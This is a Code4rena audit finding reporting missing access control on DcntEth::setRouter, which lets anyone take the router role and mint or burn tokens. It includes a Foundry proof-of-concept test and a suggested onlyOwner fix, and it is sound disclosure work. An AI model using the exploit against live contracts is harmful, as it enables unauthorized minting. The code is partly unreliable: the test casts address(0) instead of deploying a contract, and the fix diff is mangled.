Platform: Code4rena
Start Date: 19/01/2024
Pot Size: $36,500 USDC
Total HM: 9
Participants: 113
Period: 3 days
Judge: 0xsomeone
Id: 322
League: ETH
Rank: 80/113
Findings: 1
Award: $0.12
🌟 Selected for report: 0
🚀 Solo Findings: 0
🌟 Selected for report: NPCsCorp
Also found by: 0x11singh99, 0xAadi, 0xBugSlayer, 0xE1, 0xPluto, 0xSimeon, 0xSmartContract, 0xabhay, 0xdice91, 0xprinc, Aamir, Aymen0909, CDSecurity, DadeKuma, DarkTower, EV_om, Eeyore, GeekyLumberjack, GhK3Ndf, Giorgio, Greed, Inference, JanuaryPersimmon2024, Kaysoft, Krace, Matue, MrPotatoMagic, NentoR, Nikki, PUSH0, Soliditors, Tendency, Tigerfrake, Timeless, Timenov, ZanyBonzy, ZdravkoHr, abiih, adeolu, al88nsk, azanux, bareli, boredpukar, cu5t0mpeo, d4r3d3v1l, darksnow, deth, dutra, ether_sky, haxatron, ke1caM, kodyvim, m4ttm, mgf15, mrudenko, nmirchev8, nobody2018, nuthan2x, peanuts, piyushshukla, ravikiranweb3, rouhsamad, seraviz, simplor, slylandro_star, stealth, th13vn, vnavascues, wangxx2026, zaevlad
0.1172 USDC - $0.12
There is a missing access control in DcntEth::setRouter
that allows anyone to call the setRouter
function, passing an arbitrary address which is then used as the router across system calls.
Anyone can set the router and causes undefined and unexpected behavior for the system calls as the router
. An attacker or malicious user can gain control of the following functions:
DcntEth::mint
DcntEth::burn
Attacker can mint and burn DcntEth
which is an OFTV2 (Omni-chain fungible token) at will.
Add the following test to DebugActions.t.sol
or any foundry test file.
Don't forget to add the following imports:
import {DcntEth} from "../lib/decent-bridge/src/DcntEth.sol"; import {Test} from "forge-std/Test.sol"; function test_MissingDecentEthAccessControl() public { // Deploy new DcntEth token contract. DcntEth dcntEth = DcntEth(address(0)); // example amount to mint. uint256 UserMintAmount = 1_000_000 ether; // make an arbitrary user address arbitraryUser = makeAddr("anyUser"); // set the router to arbitraryUser dcntEth.setRouter(arbitraryUser); // Now arbitraryUser can call router priviledged functions: mint & burn vm.startPrank(arbitraryUser); dcntEth.mint(arbitraryUser, UserMintAmount); dcntEth.burn(arbitraryUser, 1); vm.stopPrank(); assertEq(dcntEth.balanceOf(arbitraryUser), UserMintAmount - 1); }
Manual Analysis
Add the onlyOwner
modifier to the DcntEth::setRouter
function
```diff DcntEth::setRouter
router = _router;
router = _router;
## Assessed type Access Control
#0 - c4-pre-sort
2024-01-25T21:49:31Z
raymondfam marked the issue as sufficient quality report
#1 - c4-pre-sort
2024-01-25T21:49:36Z
raymondfam marked the issue as duplicate of #14
#2 - c4-judge
2024-02-03T13:07:34Z
alex-ppg marked the issue as satisfactory